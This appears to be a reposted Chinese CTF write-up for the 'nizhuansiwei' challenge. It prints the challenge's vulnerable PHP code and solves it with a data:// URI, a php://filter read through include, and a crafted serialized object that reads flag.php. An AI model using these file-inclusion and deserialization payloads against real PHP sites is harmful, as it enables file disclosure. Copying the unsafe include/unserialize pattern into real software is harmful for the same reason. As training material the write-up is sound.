【CTF系列】攻防世界-nizhuansiwei


相关信息:

hint:无

进入网站后,便能显示源码,是一道代码审计题目。


<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
// text 需要等于 welcome
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    
    
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
// 文件名中不能包含 flag
    if(preg_match("/flag/",$file)){
    
    
        echo "Not now!";
        exit(); 
    }else{
    
    
// 可能需要读取 useless.php
        include($file);  //useless.php
// php 反序列化
        $password = unserialize($password);
        echo $password;
    }
}
else{
    
    
    highlight_file(__FILE__);
}
?>

我在源码中写了一些关键信息。

我还收集了一些其他信息

  • 服务器信息
  • 网站路径(有些题目不扫路径确实做不出来)

网站使用 PHP 和 Apache 搭建,并没有 Cookie。Web 路径如下:

(图片说明:访问 flag.php 并没有 flag)


1 file_get_content

第一步,我们需要将变量 text 赋值为 welcome to the zjctf,我们需要使用到 file_get_content 读取网页的功能

首先尝试 data 协议,如果 data 协议可以实现,那么 php://input 也应该可以实现。

构造后的 URL:http://111.200.241.244:45370/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

再尝试使用 php://input 实现

PS: Hackbar 发送 POST 必须要含等号,否则无数据。(满满都是心酸泪


2 include

通过第一步的测试,我们可以正常一些配置信息如下:

  1. allow_url_include:on
  2. allow_url_fopen:on

第二步就是利用 include 尝试读取源码注释的文件名(useless.php)。

所以这里我们采用 php://filter 伪协议来读取。

使用 base64 脚本解码:

<?php
//读取文件流
$fileData = file_get_contents("1.txt");
//将文件写入本地
file_put_contents("useless.php", base64_decode($fileData));

解码后的源码为:

<?php

class Flag
{
    
      //flag.php  
    public $file;
    public function __tostring()
    {
    
    
        if (isset($this->file)) {
    
    
            echo file_get_contents($this->file);
            echo "<br>";
            return ("U R SO CLOSE !///COME ON PLZ");
        }
    }
}

3 反序列化

在 useless.php 中的注释,是在暗示 flag 位于 flag.php 文件中,我们将 file 改为 flag.php 即可。

<?php

class Flag
{
    
      //flag.php  
    public $file = "flag.php";
}

$obj = new Flag();
echo urlencode(serialize($obj));

将 file 改为 php,让 include 执行 useless.php,从而引入 Flag 类,最后访问即可得到 flag(代码在源码中)

猜你喜欢

转载自blog.csdn.net/qq_43085611/article/details/114283760